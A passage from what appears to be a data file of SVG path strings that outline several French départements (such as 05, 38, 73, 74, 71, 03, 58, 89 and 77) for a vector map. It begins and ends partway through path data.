-1.89,-7.35 0.29,-2.57 2.02,-4.78 3.68,-5.75 -0.2,-4 5.64,-3.6 4.5,-7.78 -0.28,-2.01 3.78,-1.57 1.15,-3.33 -2.21,-1.59 -4,-5.51 -0.76,-7.08 1.56,-1.02 4.77,-6.03 1.11,-6.32 z","department-05":"m 505.98,394.66 c -0.92,0.25 -1.63,1.24 -1.1,2.16 0.19,0.48 0.58,1.51 -0.28,1.51 -1.03,0.5 -0.62,1.96 -1.08,2.79 -0.5,0.85 0.81,1.35 1.44,1.52 1.22,0.46 2.5,-0.16 3.7,-0.25 0.54,0.61 -0.39,1.36 0.2,1.99 0.46,0.55 -0.24,1.49 0.61,1.76 1.28,0.11 1.04,1.22 0.99,2.19 0.04,1.33 -0.36,2.63 -0.12,3.94 -0.53,0.79 -1.69,0.39 -2,-0.4 -0.51,-1.19 -2.09,-0.47 -2.63,0.32 -1,0.97 -2.33,-0.4 -3.46,0.21 -0.85,0.38 -1.73,-1.03 -2.42,-0.12 -0.98,1 -2.08,1.88 -3.19,2.74 -0.6,-0.52 -1.36,-2.29 -1.99,-0.92 -0.19,0.45 -0.47,0.63 -0.95,0.63 -0.5,0.26 -1.64,0.37 -1.59,1.05 0.28,0.44 1.46,0.83 1.02,1.47 -0.54,0.3 -1.13,0.65 -1.29,1.26 -0.7,-0.05 -1.3,0.89 -1.97,0.42 -0.72,-0.21 -1.09,0.98 -1.85,0.43 -0.58,0.09 -1.28,-0.82 -1.74,-0.36 0.25,1.1 -0.94,2.04 -0.76,3.1 0.52,0.18 0.81,0.66 0.78,1.23 -0.53,0.61 -1.46,0.99 -1.58,1.94 -0.18,0.9 -1.25,0.06 -1.79,0.32 -0.68,0.37 -1.24,1.41 -2.12,0.79 -0.93,-0.21 -2.04,-0.85 -2.95,-0.39 -0.57,0.89 0.83,2.18 -0.26,2.82 -0.65,0.74 -0.7,1.84 -1.37,2.59 -0.33,0.63 -0.72,1.79 0.31,1.98 1.01,0.26 1.61,1.36 2.24,2.13 -0.07,0.59 -1.06,0.18 -1.47,0.37 -0.6,0.27 -0.26,1.22 -0.74,1.67 -0.29,0.65 -1.01,0.59 -1.49,0.18 -0.57,-0.34 -1.27,-0.05 -1.74,-0.61 -0.9,-0.62 -2,-0.67 -3.03,-0.83 -0.44,-0.35 -1.26,-0.9 -0.84,0.18 0.34,0.85 -0.18,1.94 0.35,2.71 0.46,0.27 1.64,0.66 1.06,1.38 -0.5,0.81 -1.41,0.3 -2.05,-0.05 -0.52,-0.37 -1.25,0.09 -0.87,0.7 0.33,0.77 0.86,1.66 0.62,2.5 -0.66,0.38 0.12,0.97 0.62,0.79 0.61,0.08 0.48,1.09 1.17,1.15 0.27,0.47 0.79,0.78 1.25,0.32 0.66,-0.57 1.26,0.29 1.64,0.72 1.26,0.36 2.77,-0.21 3.93,0.31 -0.15,0.66 -1.33,1.39 -0.16,1.75 0.4,0.17 0.78,0.55 0.44,0.97 -0.13,0.75 0.67,1.6 1.38,1.06 0.44,-0.36 1.29,0.39 0.73,0.76 -0.45,0.57 -0.47,1.41 -0.01,1.94 -0.06,0.96 -0.14,2.01 0.32,2.89 0.74,-0.36 1.48,-0.84 2.32,-1.03 0.89,-0.54 2.04,-0.3 3.03,-0.47 1.36,0.7 2.9,1.36 4.48,1.28 0.82,-0.57 -0.52,-1.06 -0.97,-1.25 -0.83,-0.92 -1,-2.37 -2.18,-3.02 -0.89,-0.61 -0.47,-1.72 -0.01,-2.44 0.2,-0.82 1.38,-0.21 1.78,0.12 0.44,0.5 0.07,1.39 0.76,1.79 0.27,0.34 1.29,1.11 1.39,0.28 -0.46,-0.7 -0.4,-1.72 0.04,-2.4 0.24,-0.63 -0.28,-0.96 -0.8,-0.99 -0.4,-0.58 -0.19,-1.66 0.53,-1.93 1.11,-0.98 1.03,-2.64 1.93,-3.7 0.84,-0.83 2.18,-1.02 2.91,-1.96 0.3,-0.69 1.08,-1.23 1.8,-1.37 0.77,0.34 0.76,-0.99 0.72,-1.47 0.2,-0.8 1.42,-0.33 1.96,-0.19 0.77,0.29 1.87,0.6 1.76,1.64 -0.03,0.5 0.41,0.7 0.8,0.64 0.65,1.23 1.63,2.21 2.33,3.38 0.67,0.53 1.08,-0.73 1.28,-1.18 0.53,-1.39 -0.98,-2.61 -0.83,-3.89 0.95,-0.06 1.68,-0.79 2.53,-1.06 0.55,0.33 1.53,1.41 2.02,0.36 0.44,-0.73 0.48,-1.61 -0.08,-2.27 0.17,-0.42 0.83,-0.77 1.24,-0.86 0.91,1 1.94,1.96 2.46,3.23 0.51,0.3 1.22,-0.11 1.7,0.41 0.56,0.61 1.25,1.09 2.14,1 1.98,0.14 3.96,0.2 5.94,0.29 0.53,-0.84 0.08,-2.27 1.05,-2.94 1.09,-0.75 1.13,-2.18 1.48,-3.28 1.39,0.19 2.51,-0.88 3.23,-1.94 0.77,-0.23 0.49,-1.3 1.27,-1.53 0.82,-0.72 1.93,-0.86 2.92,-1.25 0.49,-0.42 0.51,-1.23 1.32,-1.26 0.83,-0.36 1.14,-1.4 1.93,-1.78 0.77,0.27 1.79,0.29 2.08,-0.66 0.66,-1.38 2.4,-1.81 3.71,-1.06 0.39,0.18 1.29,0.5 1.12,-0.27 0.09,-1.44 -0.99,-2.46 -1.92,-3.38 -0.16,-1.25 0.2,-2.81 -0.7,-3.82 0.26,-0.63 1.23,-1.27 0.5,-1.95 -0.48,-0.56 -0.7,-1.27 -1.5,-1.47 -0.9,-0.29 -1.99,-1.36 -2.93,-0.65 -1.03,0.93 -2.61,0.14 -3.63,-0.46 -1.39,-1.22 -3.06,-2.05 -4.52,-3.16 -0.14,-0.64 0.04,-1.36 -0.18,-2.01 0.26,-0.67 0.64,-1.39 0.32,-2.14 -0.46,-0.77 -0.27,-1.65 -0.34,-2.48 -0.67,-1.47 -2.82,-0.12 -3.68,-1.29 -0.42,-1.05 0.19,-2.49 -0.93,-3.24 -0.45,-0.58 -0.89,-1.29 -0.84,-2.02 -0.58,-0.55 -1.68,-0.52 -2.38,-0.21 -0.4,0.9 -1.61,1.62 -2.44,0.8 -0.83,-0.16 -1.61,0.86 -1.3,1.66 0.16,0.65 0.15,1.68 -0.74,1.69 -0.9,0.39 -1.54,-0.53 -2.43,-0.47 -0.85,-0.07 -1.72,-0.21 -2.49,-0.62 0.67,-1.13 -0.23,-2.74 -1.37,-3.11 -0.83,0.45 -1.99,0.92 -2.79,0.12 -0.24,-0.12 -0.29,-0.52 -0.63,-0.43 z",
"department-38":"m 464.21,344.5 c -2.79,1.9 -2.68,8.48 -7.27,6.99 -0.9,-2.78 -3.83,-2.24 -5.03,-0.76 -2.02,0.29 1.51,1.68 1.08,3.08 2.47,0.08 3.5,3.16 0.44,2.72 -1.73,1.6 -3.23,3.88 -3.85,5.57 -1.57,-1.3 -1.06,1.72 -2.92,0.29 -3.28,-0.47 -4.55,3.17 -7.48,1.48 -1.5,1.31 5.74,3.47 2.07,5.5 -2.26,2.06 -5.1,3.74 -4.23,6.93 0.77,2.57 -0.06,8.04 4.48,6.03 2.27,2 6.34,-5.1 8.45,-0.76 1.77,0.21 1.71,3.96 3.93,1.45 1.68,0.13 -1.09,4.61 1.72,3.03 1.9,0.92 2.02,2.4 0.5,3.24 1.61,2.88 0.73,6.17 -0.85,8.65 1.08,-0.16 3.1,-1.79 4.37,0.45 2.36,0.7 4.24,0.15 6.23,1.33 0.84,-0.27 3.02,-1.03 3.81,-2.77 2.64,0.63 -1.49,2.67 0.72,4.47 0.38,3.59 -0.09,7.56 -0.56,11.3 0.4,1.45 0.41,2.4 -0.01,3.62 1.24,0.79 4,2.16 3.74,0.13 2.61,1.83 4.3,5.05 7.54,4.72 2.17,2.94 5.3,0.26 5.21,-2.58 1.66,1.44 8.14,-0.42 5.75,-2.57 -0.07,-1 2.61,-2.26 3.54,-2.4 2.26,2.99 3.89,-3.83 6.67,-1.32 2.19,0.23 3.45,-0.22 5.31,-1.27 0.97,1.39 3.24,2.32 2.54,-0.45 1.1,-3.23 -1.77,-5.43 -1.86,-8.01 -3.37,1.84 -6.82,-1.82 -3.61,-4.41 -0.13,-1.84 0.52,-3.31 1.32,-4.86 -1.82,-0.13 -3.26,-1.51 -5.13,-0.74 1.43,-2.69 -1.8,-4.98 -0.71,-7.76 -0.38,-2.56 4.12,-3.93 2.03,-6.04 0.5,-3.14 -3.24,-5.89 -6.15,-5.13 -1.66,-1.14 -3.77,-5.23 -5.46,-1.87 -0.31,1.87 -0.63,3.21 -0.4,4.62 -2.15,1.23 -4.77,-3.87 -7.68,-2.52 -0.95,-2.94 -2.79,-6.19 -4.33,-9.02 -1.66,-2.41 -2.31,-5.84 -4.73,-7.23 -0.04,-3.77 -5.4,-5.53 -5.81,-9.3 0.88,-1.39 -2.2,-3.36 -3.39,-3.83 z","department-73":"m 486.16,340.96 c -0.45,0.45 0.31,1.19 0.03,1.77 -0.43,2.29 -1.49,4.41 -1.88,6.69 -0.26,1.38 -0.01,2.88 -0.3,4.22 -0.62,0.31 0.02,1.17 -0.58,1.57 -0.45,1.17 -1.58,0.73 -2.55,0.64 -0.84,0.07 0.16,1.14 -0.18,1.7 -0.39,0.69 -1.23,1.27 -0.9,2.19 0.16,0.81 -0.73,0.85 -1.28,0.92 -0.46,0.22 -0.52,0.84 -0.99,1.02 -0.1,0.57 -0.89,1.04 -0.26,1.63 0.76,1.32 2.36,2.45 2.11,4.11 0.23,0.33 0.74,0.34 0.74,0.83 0.84,0.69 0.84,1.99 1.51,2.8 0.86,0.69 -0.26,2.79 1.33,2.79 0.69,-0.42 1.75,-0.43 2.21,0.36 0.86,0.8 2.15,0.9 3.12,1.6 0.57,0.15 0.69,0.71 1.06,1.03 0.59,0.02 1.32,-1.15 0.42,-1.31 -0.57,-0.83 0.26,-1.71 0.62,-2.42 0.32,-0.63 -0.18,-1.37 -0.02,-1.93 0.76,-0.47 1.65,-0.69 2.47,-1.04 0.43,0.56 1.01,1.07 1.58,1.38 0.13,0.76 0.39,1.57 1.25,1.79 0.96,0.51 2.24,-0.49 3,0.51 0.5,0.17 1.21,-0.47 1.46,0.31 0.64,1.59 2.48,2.51 2.66,4.29 -0.29,0.15 -0.79,0.54 -0.21,0.73 0.85,0.23 0.12,1.35 0.11,1.91 -0.05,0.98 -1.42,0.76 -1.63,1.63 -0.67,0.52 -0.97,1.32 -0.71,2.16 0.28,0.8 -0.51,1.41 -0.41,2.16 0.41,0.87 0.74,1.73 1.41,2.45 0.62,1.01 -0.59,1.95 -0.5,2.93 0.52,0.56 1.11,-0.22 1.49,-0.5 0.92,-0.1 1.37,0.91 2.13,1.15 0.63,-0.3 1.62,-0.2 1.66,0.68 -0.1,1.41 1.8,2.18 2.81,1.25 0.65,-0.79 1.23,0.33 1.67,0.84 0.46,0.64 0.68,1.43 0.45,2.15 0.54,0.74 1.75,0.36 2.53,0.62 0.86,0.16 1.92,1 2.66,0.13 0.38,-0.92 -0.65,-2.23 0.57,-2.71 0.35,-0.45 0.85,-0.56 1.27,-0.15 0.94,0.49 1.73,-0.4 2.13,-1.14 0.91,-0.24 1.86,0.12 2.72,0.29 0.81,-0.21 1.62,-0.66 2.1,-1.32 0.99,-0.68 2.46,0.1 3.22,-1.02 0.35,-0.43 0.97,-0.89 1.45,-0.3 0.85,0.52 2.11,0.47 2.52,1.51 0.72,0.63 1.87,0.09 2.61,-0.25 0.41,-0.56 -0.74,-1.63 0.24,-1.82 0.89,-0.31 2.18,-0.09 2.35,-1.31 0.28,-0.94 0.93,-1.7 1.94,-1.85 1,-0.19 1.96,-0.56 2.92,-0.94 0.28,0.29 0.54,1.02 1.07,0.58 0.47,-0.87 0.96,-2.03 2.06,-2.12 0.86,-0.78 0.12,-2.12 -0.06,-3.06 -0.11,-0.72 -1,-1.93 0.07,-2.33 0.68,-0.07 0.41,-0.73 0.59,-1.12 0.98,-0.99 1.63,-2.36 1.9,-3.7 -0.59,-0.97 -1.87,-1.22 -2.71,-1.86 -0.94,-0.95 -0.87,-3.04 -2.54,-3.15 -0.56,-0.01 -0.92,-0.42 -0.89,-0.96 -0.58,-0.7 -1.85,-0.56 -2.18,-1.57 -0.64,-1.44 -0.23,-3.2 -1.06,-4.6 -0.34,-1.1 0.49,-2.08 0.76,-3.02 -0.69,-0.83 -1.62,-1.51 -2.76,-1.31 -0.88,0.14 -0.91,-0.82 -1.25,-1.33 -0.99,-0.62 -2.63,-0.33 -3.11,-1.66 -0.83,-0.95 -1.39,-2.07 -1.33,-3.37 -0.05,-0.49 -0.09,-1.83 -0.91,-1.34 -0.91,0.06 -1.72,0.7 -1.99,1.6 -0.42,0.52 -0.86,1.4 -1.45,1.52 -0.4,-0.17 -1.27,-0.31 -0.7,-0.87 0.23,-0.66 -0.51,-1.2 -0.28,-1.88 -0.34,-0.89 -0.91,-2.04 -1.95,-2.2 -0.89,-0.13 -2.19,0.76 -2.83,-0.15 -0.09,-0.52 -0.37,-0.96 -0.88,-1.06 -0.72,-0.81 -1.07,-2.03 -1.15,-3.07 0.63,0.06 1.62,-0.31 1.26,-1.11 -0.35,-1.05 -1.53,-1.04 -2.36,-1.47 -0.67,-0.01 -0.86,0.94 -1.52,1.08 -0.85,0.88 -1.48,2.09 -1.51,3.29 -0.72,0.95 -0.91,2.24 -1.97,2.95 -0.76,0.61 -1.69,1.28 -1.54,2.39 -0.21,0.67 -0.99,1.04 -1.01,1.82 -0.44,0.97 -0.54,2.37 -1.86,2.41 -1.14,0.38 -2.33,0.53 -3.53,0.54 -0.06,-0.45 0.01,-1.66 -0.76,-1.32 -0.31,0.13 -0.76,0.69 -1.03,0.56 -0.25,-0.91 0.24,-2.16 -0.62,-2.79 -0.14,-0.81 -1.14,-1.57 -1.94,-1.34 -0.21,0.5 -0.78,0.26 -1.03,-0.06 -0.76,0.04 -0.24,1.32 -0.76,1.53 -0.34,-0.65 -1.25,-0.37 -1.8,-0.73 -0.47,-0.07 -0.73,0.7 -1.2,0.25 -0.48,-0.36 -1.21,-0.4 -1.7,-0.51 0.01,-0.61 -0.44,-1.04 -0.93,-1.29 0.04,-0.57 0.55,-1.77 -0.49,-1.68 -0.47,-0.1 -0.19,-0.97 -0.81,-1.05 -0.66,-0.37 -1.22,0.91 -1.76,0.14 -0.38,-0.36 -0.12,-1.3 -0.92,-1.18 -1.02,-0.5 -0.45,-1.96 -0.7,-2.86 -0.23,-1.29 -0.31,-2.65 -0.65,-3.91 -0.34,-0.35 -0.97,-0.38 -1.43,-0.38 z","department-74":"m 522.73,306.41 c -1.97,0.51 -4.09,-0.11 -6.02,0.54 -1.69,0.88 -2.87,2.78 -4.92,2.88 -1.61,0.19 -3.71,0.06 -4.62,1.7 -1.07,1.16 -2.72,2.21 -2.73,3.97 0.1,0.69 1.48,0.71 0.93,1.55 -0.41,0.84 0.21,1.93 0.9,2.4 0.42,0.09 0.95,-0.58 1.26,0.01 0.37,0.53 0.48,1.32 -0.23,1.62 -1.53,1.19 -3.48,2.08 -4.62,3.7 0.15,0.96 -1.06,1.44 -1.7,1.89 -0.92,0.54 -2.12,0.67 -2.99,-0.02 -0.94,-0.11 -1.74,0.7 -2.72,0.57 -1.73,-0.1 -3.26,0.92 -4.93,1 -0.77,0.2 -1.52,0.85 -1.16,1.71 0.19,0.63 -0.32,1.15 -0.97,1 -0.99,0.19 -1.36,-0.93 -2.04,-1.36 -0.25,0.5 -0.16,1.27 -0.57,1.8 -0.32,1.76 -0.11,3.58 -0.18,5.37 -0.05,1.02 1.4,1.33 1.1,2.4 -0.08,0.89 -0.37,2.18 0.97,1.91 0.75,0.22 0.29,1.37 0.52,1.94 0.31,1.44 0.48,2.91 0.5,4.37 0.07,0.67 0.88,0.58 1.19,0.96 -0.06,0.61 0.65,1.43 1.18,0.8 0.34,-0.42 1.1,-0.12 1.48,0.06 -0.19,0.54 0.13,1.08 0.73,0.94 0.45,0.32 -0.03,1.12 0.02,1.58 0.26,0.43 0.87,0.53 0.99,1.06 0.58,0.39 1.43,1.09 2.13,0.73 0.22,-0.52 0.78,-0.22 1.09,0 0.59,0.21 1.53,0.05 1.32,-0.78 -0.01,-0.66 0.68,-0.27 0.9,0.03 0.57,0.28 0.97,-0.69 1.55,-0.21 0.84,0.25 1.11,1.08 1.58,1.67 0.61,0.22 0.16,1.19 0.32,1.69 -0.08,0.68 0.71,0.6 0.85,0.07 0.5,-0.09 1,0.52 0.86,1.04 0.4,0.69 1.5,0.24 2.16,0.27 0.76,-0.24 1.79,-0.22 2.32,-0.85 0.55,-0.82 0.59,-1.89 1.06,-2.69 0.59,-0.47 1.08,-1.17 0.58,-1.84 1.1,-1.12 2.6,-2.01 3.15,-3.59 0.44,-0.46 0.57,-1.04 0.46,-1.64 0.43,-1.24 1.14,-2.4 2.27,-3.1 0.24,-0.19 0.68,-1.23 1.02,-0.66 0.87,0.56 2.4,0.81 2.5,2.07 0.05,0.67 -0.39,0.98 -1.01,0.85 -0.65,0.38 0.05,1.31 0.13,1.86 0.25,0.92 1.4,1.05 1.58,2.03 0.48,0.87 1.65,0.01 2.41,0.12 0.73,-0.31 1.18,0.28 1.5,0.85 0.45,0.56 1.16,1.11 0.82,1.91 -0.09,0.58 0.7,0.95 0.24,1.52 -0.21,0.76 0.9,0.79 1.18,0.23 0.84,-0.71 0.9,-2.01 2.02,-2.43 1.02,-0.06 1.62,-1 1.61,-1.96 -0.09,-1.02 0.58,-2.66 1.85,-2.26 0.39,0.29 1.11,0.3 0.98,-0.35 0.01,-0.41 0.22,-0.99 0.72,-0.64 1.66,0.72 3.32,-0.42 4.67,-1.3 1.07,-1.02 1.17,-2.69 2.2,-3.72 0.24,-1.07 0.13,-2.38 -0.92,-2.98 -0.31,-0.29 0.4,-0.66 0.03,-1.04 -1.08,-1.72 -2.7,-3.09 -3.82,-4.78 -0.93,-0.47 -1.81,1.29 -2.7,0.56 -0.35,-0.84 0.72,-1.72 0.05,-2.53 0.03,-0.72 1.46,-1.61 0.49,-2.23 -0.76,-0.34 -1.61,-0.31 -2.36,-0.72 -0.84,-0.04 -2.06,-0.19 -2.06,-1.31 0.09,-1.22 0.81,-2.32 0.63,-3.59 0.03,-1.74 2.08,-2.69 2.14,-4.38 -0.61,-2.1 -2.81,-3.32 -3.41,-5.34 0.58,-0.82 1.83,-1.33 1.69,-2.56 0.1,-0.89 0.32,-2.26 -0.88,-2.5 -2.33,-0.82 -4.77,-1.84 -7.27,-1.85 z","department-71":"m 412,260.36 c -2.93,0.55 -4.26,2.21 -6.96,2.68 -1.28,2.48 2.3,4.5 -0.5,6.99 -1.43,0.66 -3.07,3.09 -0.49,1.44 1.9,1.91 -1.31,5.49 2.35,6.61 2.41,2.48 -3.47,2.49 -1.06,5.02 0.77,3.39 -3.9,1.03 -5.18,3.67 -2.25,1.4 -4.63,2.62 -7.04,3.38 -0.31,-4.58 -4.86,-2.18 -7.6,-2.64 0.33,3.18 3.53,4.95 4.3,8.11 0.37,1.27 1.28,3.31 0.8,5.05 2.56,1.6 5.5,0.03 6.06,3.56 2.3,-0.67 6.83,0.19 5.63,3.81 -1.65,2.24 1.1,6.27 -0.41,7.48 -1.83,-0.26 -2.1,1.92 -4,2.06 1.17,2.28 -1.61,6.17 2.72,5.49 0.93,1.98 2.84,2.96 4.81,1.08 2.24,-1.83 4.53,2.66 6.18,-0.34 0.99,0.81 3.97,-0.12 2.52,2.07 1.82,0.5 3.17,-1.98 5.29,-1.84 0.91,-1.94 0.34,-5.84 2.53,-7.3 2.38,-0.25 4.64,4.02 6.14,0.44 0.69,1.02 2.58,2.86 3.18,0.21 1.5,-2.57 5.41,0.79 2.63,2.19 4.35,0.26 -0.17,5.73 3.79,5.35 1.63,-2.32 1.8,-5.62 3.02,-8.28 1.07,-3.54 2,-7.12 3.47,-10.47 -0.24,-4.22 3.76,-4.44 6.12,-2.01 2.73,0.91 5.4,-3.24 7.43,-0.63 0.71,4.46 5.42,3.07 8.23,1.96 3.48,-0.33 -0.18,-2.98 -1.2,-3.64 -0.19,-2.06 -0.14,-4 2.12,-4.12 -1.13,-2.06 2.54,-2.7 0.55,-4.54 0.27,-1.18 -1.25,-2.07 -0.87,-3.37 -1.29,-1.52 -2.14,-2.53 -0.54,-4.28 -1.91,-0.7 -4.07,-3.41 -0.68,-3.56 1.47,-0.64 5.77,0.15 2.85,-1.99 -1.77,-0.79 -1.54,-3.02 -3.84,-2.16 -2.27,0.63 -1.51,-5.03 -4.1,-2.86 0.12,-2.06 -1.07,-4.73 -3.5,-2.61 -2.78,0.86 -4.3,2.07 -6.4,-0.46 -1.94,0.4 -2.39,2.11 -4.89,0.86 -2.61,0.33 -5.24,2.44 -8.14,3.19 -1.76,-0.3 -4.71,2.29 -4.23,-1.06 -3.18,-0.15 -5.08,-3.48 -5.63,-5.52 -2.23,0.19 -4.16,-1.65 -6.41,-2.36 0.94,-2.91 -1.62,-1.37 -2.5,-0.96 0.79,-4 -4.82,-1.4 -5.2,-5.1 -0.71,0.24 -0.8,-0.59 -1.34,-0.6 z","department-03":"m 355.26,283.59 c -2.47,0.46 -4.86,3.44 -6.02,4.72 -1.76,-0.99 -3.8,2.31 -4.59,-0.78 -1.76,0.08 -2.97,3.69 -5.04,3.94 1.97,2.84 -4.43,0.31 -1.55,2.39 0.4,1.42 -1.37,2.94 0.6,3.99 1.55,3.09 -3.65,5.08 -5.37,3.61 -2.24,1.35 -6.48,-0.24 -7.16,3.06 -1.54,1.23 -3.6,4.68 -1.43,6.74 2.23,0.25 1.54,1.18 0.45,2.24 0.46,1.75 3.06,2.36 3.77,1.35 1.79,0.78 0.58,3.48 2.71,2.33 2.32,1.7 3.03,4.85 4.13,7.52 1.59,1.1 1.36,3.94 4.21,3.81 2.2,-0.4 1.29,-4.32 4.06,-4.34 -0.38,-2.36 1.13,-2.81 2.64,-1.17 2.87,2.05 0.78,-4.7 4.25,-3.15 2.6,-0.56 4.31,1.53 2.01,3.27 -0.51,2.53 2.71,1.85 2.18,4.56 1.6,1.64 4.19,2.18 6.12,1.98 0.53,3.71 5.09,1.32 7.41,2.58 2.46,-0.35 4.25,2.07 6.4,-0.15 2.05,-0.87 3.81,1.48 3.14,3.62 2.97,-0.38 6.89,-1.86 7.42,2.51 1.3,0.31 3.13,3.55 3.29,0.55 1.79,-0.98 4.46,0.16 5.67,-2.24 -1.33,-3.25 -0.2,-6.45 -1.49,-9.65 1.17,-1.65 -1.28,-4.71 -0.7,-6.42 1.4,-0.12 2.34,-1.59 4.2,-1.58 1.27,-1.45 2.99,-2.22 4.25,-3.49 2.82,-0.46 -0.34,-5.16 1.28,-7.19 1.51,-3 -3.08,-4.88 -5.16,-3.65 -1.18,-1.3 -1.26,-3.58 -3.47,-2.38 -1.93,-1.04 -3.95,-1.45 -2.9,-4.14 -1.14,-2.8 -2.34,-5.73 -4.5,-8.23 0.48,-2.03 -3.61,-4.95 -2.1,-1.56 -0.34,1.45 -3.05,0.68 -1.66,2.91 -1.17,0.41 -2.72,0.17 -3.32,2.29 -3.21,0.75 -0.8,-5.19 -4.58,-3.84 -1.04,2.99 -3.56,1.08 -4.7,-0.26 -2.1,1.25 -4.73,3.83 -6.34,0.2 -2.17,-1.67 -4.84,-2.89 -5.84,-5.6 -0.73,-0.27 -1.51,-0.18 -2.26,-0.35 z","department-58":"m 361.05,231.75 c -1.61,0.98 -3.32,2.58 -5.23,1.22 -1.54,0.66 -5.16,0.31 -5.72,1.84 1.58,2.33 4.2,5.39 3.03,8.27 -0.46,2.34 -4.01,5.74 -0.25,7.04 1.92,1.64 3.66,3.16 3.28,5.91 2.2,3.19 1.4,7.61 2.45,10.69 2.84,1.44 0.59,4.96 1.6,7.25 -1.99,2.66 1.02,5.99 -1.24,8.7 -1.75,2.29 0.81,5.12 3.16,5.53 1.64,1.06 3.28,4.95 5.39,2.27 1.52,-1.93 3.16,-1.38 4.16,0.57 1.96,0.7 3.24,-3.41 4.93,-1.11 0.68,1.01 0.94,1.95 1.13,3.28 1.84,0.37 2.58,-2.94 4.39,-2.04 -0.61,-1.82 -0.49,-2.4 1.36,-2.38 -0.2,-1.17 -0.22,-3.61 1.45,-1.97 2.29,2.03 7.01,-1.91 8.02,2.31 1.41,2.29 3.54,-1.84 5.75,-1.47 1.68,-2.02 4.85,-2.71 6.51,-3.23 -0.22,-2.14 -1.12,-3.85 1.59,-4.65 -0.2,-2.28 -4.24,-3.86 -1.97,-6.79 0.18,-2.41 -4.07,0.3 -1.77,-2.02 2.77,-1.18 2.72,-4.62 1.41,-6.48 -0.21,-2.71 3.29,-1.57 3.61,-3.64 2.41,0.12 4.36,-0.55 4.66,-3.1 0.33,-2.07 -2.28,-4.7 -4.14,-3.18 -2.16,-1.91 1.5,-6.7 -2.23,-6.47 -2.06,-0.11 -3.88,3.63 -5.15,0.03 -0.32,-1.35 -0.05,-4.35 -2.03,-2.79 -1.29,0.05 -2.91,2.04 -2.96,-0.58 1.08,-0.8 1.65,-3.07 -0.35,-2.77 -1.09,1.35 -0.9,4.62 -3.13,2.61 -0.88,-1.42 -3.65,0.48 -4.06,-2.21 -1.01,-1.24 -3.05,-2.54 -4.54,-2.45 -1.62,0.35 -0.42,-3.16 -2.49,-3.09 -1.47,-0.17 -1.9,-4.94 -2.3,-1.85 0.35,2 -0.34,3.67 -2.39,2.1 -2.63,-1.51 -3.86,4.14 -5.82,1.03 -1.87,-1.04 -4.17,1.13 -5,-2 -2.26,0.34 -4.45,-1.48 -4.25,-4 -0.17,-0.32 -0.55,-0.4 -0.88,-0.38 z","department-89":"m 374.12,178.1 c -1.36,2.82 -5.36,0.91 -7.76,1.83 -2.91,0.12 -7.22,-0.23 -8.27,2.98 0.14,3.17 1.58,6.21 -2.22,8.02 -3.13,1.63 -1.03,2.94 1.17,4.04 2.28,2.02 1.91,5.48 4.92,6.98 0.09,2.23 1.57,5.13 -1.56,6.65 -2.34,1.36 -4.04,3.95 -2.14,6.31 -0.68,1.5 0.04,4.08 -2.76,4.29 -2.25,0.39 -7.34,0.64 -4.79,4.05 2.45,0.93 4.06,4.45 3.33,7.05 1.14,3.61 5.07,3.17 7.39,1.37 1.4,1.71 1.46,5.08 4.64,4.36 1.07,1.7 2.94,2.2 4.19,1.56 2.83,2.78 4.94,-2.42 8.04,-0.36 2.24,0.32 0.05,-5.91 2.11,-2.26 1.33,1.79 2.94,3.05 3.85,4.95 3.33,-1.09 4.42,4.4 7.1,3.73 1.63,0.4 3.4,2.47 3.61,-0.47 1.06,-2.78 3.75,-0.39 1.71,1.41 -0.27,3 5.9,-2.28 4.47,2.93 0.46,3.12 3.19,1.32 4.4,0.59 4.42,-0.6 -2.45,-5.06 1.49,-6.94 2.21,-1.57 -0.41,-5.47 2.78,-6.83 1.14,-2.73 3.9,-5.69 3.26,-8.58 1.88,-0.52 1.26,-1.92 0.64,-3.48 1.6,-1.09 4.66,-1.22 3.88,-4.34 0.07,-2.34 -0.26,-3.73 -2.7,-3.42 -3.53,-2.05 4.19,-4.69 -0.03,-5.12 -1.97,-0.1 -2.62,-5.1 -3.28,-1.27 -2.05,-2.67 -2.92,2.59 -5.45,0.23 -2.35,0.79 -5.27,0.01 -8.15,0.79 0.15,-1.59 0.88,-6.21 -1.65,-3.46 -2.36,-1.38 1.3,-2.55 -1.24,-3.58 -0.94,-2.75 -2.25,-5.79 -4.33,-7.09 0.87,-2.25 -1.27,-2.36 -1.7,-0.43 -3.07,1.65 -2.16,-4.29 -5.46,-2.45 0.07,-1.1 1.54,-2.74 1.12,-4.43 -0.2,-2.34 -3.48,-5.41 -5.2,-7.74 -2.07,-0.04 -3.97,0.46 -4.78,-1.75 -0.22,-0.05 -0.43,-0.1 -0.65,-0.14 z","department-77":"m 360.11,130.7 c -0.75,1.23 -0.27,2.29 -2.33,1.67 -1.38,-0.38 -1.84,2.1 -2.56,0.07 -2.14,0.21 -4.49,1.91 -6.24,0.1 -2.04,-1.53 -3.2,3.4 -5.16,0.88 -1.56,1.65 -2.68,-3.86 -4.86,-1.22 -1.42,0.6 -1.4,2.29 -1.08,2.9 -0.79,0.91 -3.3,2.12 -0.93,2.41 0.92,1.64 0.15,3.36 1.66,4.95 -0.21,1.86 -2.5,3.75 -0.77,5.03 -0.42,1.69 1.07,3.83 0.45,5.54 1.88,0.5 -0.47,2.18 -0.41,3.35 -1.82,0.99 1.36,3.93 -1.65,3.64 -0.82,0.84 0.31,2.38 -1.22,3.04 1.7,1.22 -0.11,2.87 -0.29,4.11 -0.83,2.76 -0.35,5.7 -0.38,8.61 1.13,0.77 2.32,2.24 0.22,2.19 -1.67,0.77 -3.86,1.83 -3.71,4.1 -3.26,-0.23 0.46,3.05 -0.39,4.73 1.93,0.89 5.35,1.9 4.16,4.93 0.05,1.63 -0.21,2.35 -1.8,2.26 -2.59,2.58 2.06,2.09 3.18,0.95 1.95,0.94 4.16,-0.38 5.89,1.16 1.74,-0.08 3.98,-1.65 3.26,-2.69 2.16,-0.61 3.3,-0.11 2.62,2.03 1.99,0.05 3.64,-2.23 5.85,-2.23 1.28,-2.5 4.18,-3.1 5.17,-5.95 -1.75,-1.86 -0.91,-4.39 0.11,-6.51 2.23,0.08 3.58,-0.87 5.81,-1.29 2.4,1.59 4.47,-0.91 6.89,0.03 1.85,0.05 2.21,-2.32 4.09,-1.22 1.02,-1.56 -1.94,-1.95 -0.46,-3.63 -1.01,-1.71 -0.67,-2.54 1.28,-3.16 -0.64,-1.19 -1.85,-3.14 0.59,-2.27 3.2,-0.16 -0.39,-3.09 2.44,-3.84 0.11,-1.36 2.11,-1.25 2.34,-2.32 -1.35,-1.35 -2.61,-1.35 -4.33,-0.87 -0.83,-1.72 0,-2.93 0.73,-4.28 -0.27,-1.41 0.18,-2.58 -1.57,-2.81 -0.08,-1.26 